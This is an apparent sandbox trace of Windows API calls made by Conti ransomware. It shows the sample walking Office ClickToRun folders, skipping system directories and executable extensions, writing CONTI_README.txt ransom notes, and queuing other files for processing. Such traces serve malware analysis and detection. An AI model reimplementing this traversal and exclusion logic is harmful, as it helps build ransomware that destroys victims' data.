	[0098.252] lstrcmpiW (lpString1="en-us.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.252] lstrcmpiW (lpString1="en-us.16", lpString2="System Volume Information") returned -1
	[0098.252] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files") returned -1
	[0098.252] lstrcmpiW (lpString1="en-us.16", lpString2="Program Files (x86)") returned -1
	[0098.252] lstrcmpiW (lpString1="en-us.16", lpString2="Boot") returned 1
	[0098.252] lstrcmpiW (lpString1="en-us.16", lpString2="Windows") returned -1
	[0098.252] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned 72
	[0098.252] lstrlenW (lpString="en-us.16") returned 8
	[0098.252] GetProcessHeap () returned 0x1720000
	[0098.252] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732c10
	[0098.252] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0"
	[0098.252] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\"
	[0098.252] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\", lpString2="en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16"
	[0098.252] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned 81
	[0098.252] GetProcessHeap () returned 0x1720000
	[0098.252] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x1732cc0
	[0098.252] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16"
	[0098.252] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*"
	[0098.252] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned 81
	[0098.252] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.252] GetProcessHeap () returned 0x1720000
	[0098.252] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x17c61b0
	[0098.252] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16"
	[0098.252] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\"
	[0098.252] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\CONTI_README.txt"
	[0098.252] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.255] GetProcessHeap () returned 0x1720000
	[0098.255] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.255] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.256] CloseHandle (hObject=0x37c) returned 1
	[0098.256] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x4e68699d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7eb0
	[0098.256] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.256] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ee74e6, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x4e68699d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.256] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.256] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.256] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e68699d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e68699d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e68699d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.256] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.256] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.256] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.256] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.256] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x39768000, ftLastWriteTime.dwHighDateTime=0x1d0d7ee, nFileSizeHigh=0x0, nFileSizeLow=0x564f, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="MasterDescriptor.en-us.xml", cAlternateFileName="MASTER~1.XML")) returned 1
	[0098.256] lstrcmpiW (lpString1="MasterDescriptor.en-us.xml", lpString2=".") returned 1
	[0098.256] lstrcmpiW (lpString1="MasterDescriptor.en-us.xml", lpString2="..") returned 1
	[0098.256] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.256] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.256] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".exe") returned 0x0
	[0098.256] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".dll") returned 0x0
	[0098.256] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".lnk") returned 0x0
	[0098.256] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".sys") returned 0x0
	[0098.256] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch=".CONTI") returned 0x0
	[0098.256] StrStrIW (lpFirst="MasterDescriptor.en-us.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0098.256] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned 81
	[0098.257] lstrlenW (lpString="MasterDescriptor.en-us.xml") returned 26
	[0098.257] GetProcessHeap () returned 0x1720000
	[0098.257] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xda) returned 0x17c3770
	[0098.257] lstrcpyW (in: lpString1=0x17c3770, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16"
	[0098.257] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\"
	[0098.257] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\", lpString2="MasterDescriptor.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\MasterDescriptor.en-us.xml"
	[0098.257] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e7460) returned 1
	[0098.257] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x6035b600, ftLastWriteTime.dwHighDateTime=0x1d0d7f0, nFileSizeHigh=0x0, nFileSizeLow=0x66, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="s641033.hash", cAlternateFileName="S64103~1.HAS")) returned 1
	[0098.257] lstrcmpiW (lpString1="s641033.hash", lpString2=".") returned 1
	[0098.257] lstrcmpiW (lpString1="s641033.hash", lpString2="..") returned 1
	[0098.257] StrStrIW (lpFirst="s641033.hash", lpSrch=".CONTI") returned 0x0
	[0098.257] StrStrIW (lpFirst="s641033.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.257] StrStrIW (lpFirst="s641033.hash", lpSrch=".exe") returned 0x0
	[0098.257] StrStrIW (lpFirst="s641033.hash", lpSrch=".dll") returned 0x0
	[0098.257] StrStrIW (lpFirst="s641033.hash", lpSrch=".lnk") returned 0x0
	[0098.257] StrStrIW (lpFirst="s641033.hash", lpSrch=".sys") returned 0x0
	[0098.257] StrStrIW (lpFirst="s641033.hash", lpSrch=".CONTI") returned 0x0
	[0098.257] StrStrIW (lpFirst="s641033.hash", lpSrch="CONTI_README.txt") returned 0x0
	[0098.257] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned 81
	[0098.257] lstrlenW (lpString="s641033.hash") returned 12
	[0098.257] GetProcessHeap () returned 0x1720000
	[0098.257] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbe) returned 0x17cb760
	[0098.257] lstrcpyW (in: lpString1=0x17cb760, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16"
	[0098.257] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\"
	[0098.257] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\", lpString2="s641033.hash" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash"
	[0098.257] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e6d88) returned 1
	[0098.257] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.257] lstrcmpiW (lpString1="stream.x64.en-us.man.dat", lpString2=".") returned 1
	[0098.257] lstrcmpiW (lpString1="stream.x64.en-us.man.dat", lpString2="..") returned 1
	[0098.257] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.257] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.257] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".exe") returned 0x0
	[0098.257] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".dll") returned 0x0
	[0098.257] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".lnk") returned 0x0
	[0098.258] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".sys") returned 0x0
	[0098.258] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.258] StrStrIW (lpFirst="stream.x64.en-us.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.258] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned 81
	[0098.258] lstrlenW (lpString="stream.x64.en-us.man.dat") returned 24
	[0098.258] GetProcessHeap () returned 0x1720000
	[0098.258] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c3858
	[0098.258] lstrcpyW (in: lpString1=0x17c3858, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16"
	[0098.258] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\"
	[0098.258] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\", lpString2="stream.x64.en-us.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat"
	[0098.258] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e6fd0) returned 1
	[0098.258] FindNextFileW (in: hFindFile=0x17c7eb0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ec13b1, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x3e87ff00, ftLastWriteTime.dwHighDateTime=0x1d0d7ef, nFileSizeHigh=0x0, nFileSizeLow=0xd77c4, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="stream.x64.en-us.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.258] GetProcessHeap () returned 0x1720000
	[0098.258] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0098.258] FindClose (in: hFindFile=0x17c7eb0 | out: hFindFile=0x17c7eb0) returned 1
	[0098.258] GetProcessHeap () returned 0x1720000
	[0098.258] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0098.258] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x96d43d48, ftCreationTime.dwHighDateTime=0x1d47c31, ftLastAccessTime.dwLowDateTime=0x96ec13b1, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0x96ec13b1, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="x-none.16", cAlternateFileName="")) returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2=".") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="..") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="tmp") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="winnt") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="Application Data") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="AppData") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="temp") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="thumb") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="$Recycle.Bin") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="$RECYCLE.BIN") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="System Volume Information") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files") returned 1
	[0098.258] lstrcmpiW (lpString1="x-none.16", lpString2="Program Files (x86)") returned 1
	[0098.259] lstrcmpiW (lpString1="x-none.16", lpString2="Boot") returned 1
	[0098.259] lstrcmpiW (lpString1="x-none.16", lpString2="Windows") returned 1
	[0098.259] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned 72
	[0098.259] lstrlenW (lpString="x-none.16") returned 9
	[0098.259] GetProcessHeap () returned 0x1720000
	[0098.259] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa6) returned 0x1732c10
	[0098.259] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0"
	[0098.259] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\"
	[0098.259] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\", lpString2="x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16"
	[0098.259] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned 82
	[0098.259] GetProcessHeap () returned 0x1720000
	[0098.259] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xaa) returned 0x17c7588
	[0098.259] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16"
	[0098.259] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\*"
	[0098.259] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned 82
	[0098.259] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.259] GetProcessHeap () returned 0x1720000
	[0098.259] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc8) returned 0x17c61b0
	[0098.259] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16"
	[0098.259] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\"
	[0098.259] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\CONTI_README.txt"
	[0098.259] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\x-none.16\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\x-none.16\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.304] GetProcessHeap () returned 0x1720000
	[0098.304] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.304] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.305] CloseHandle (hObject=0x37c) returned 1
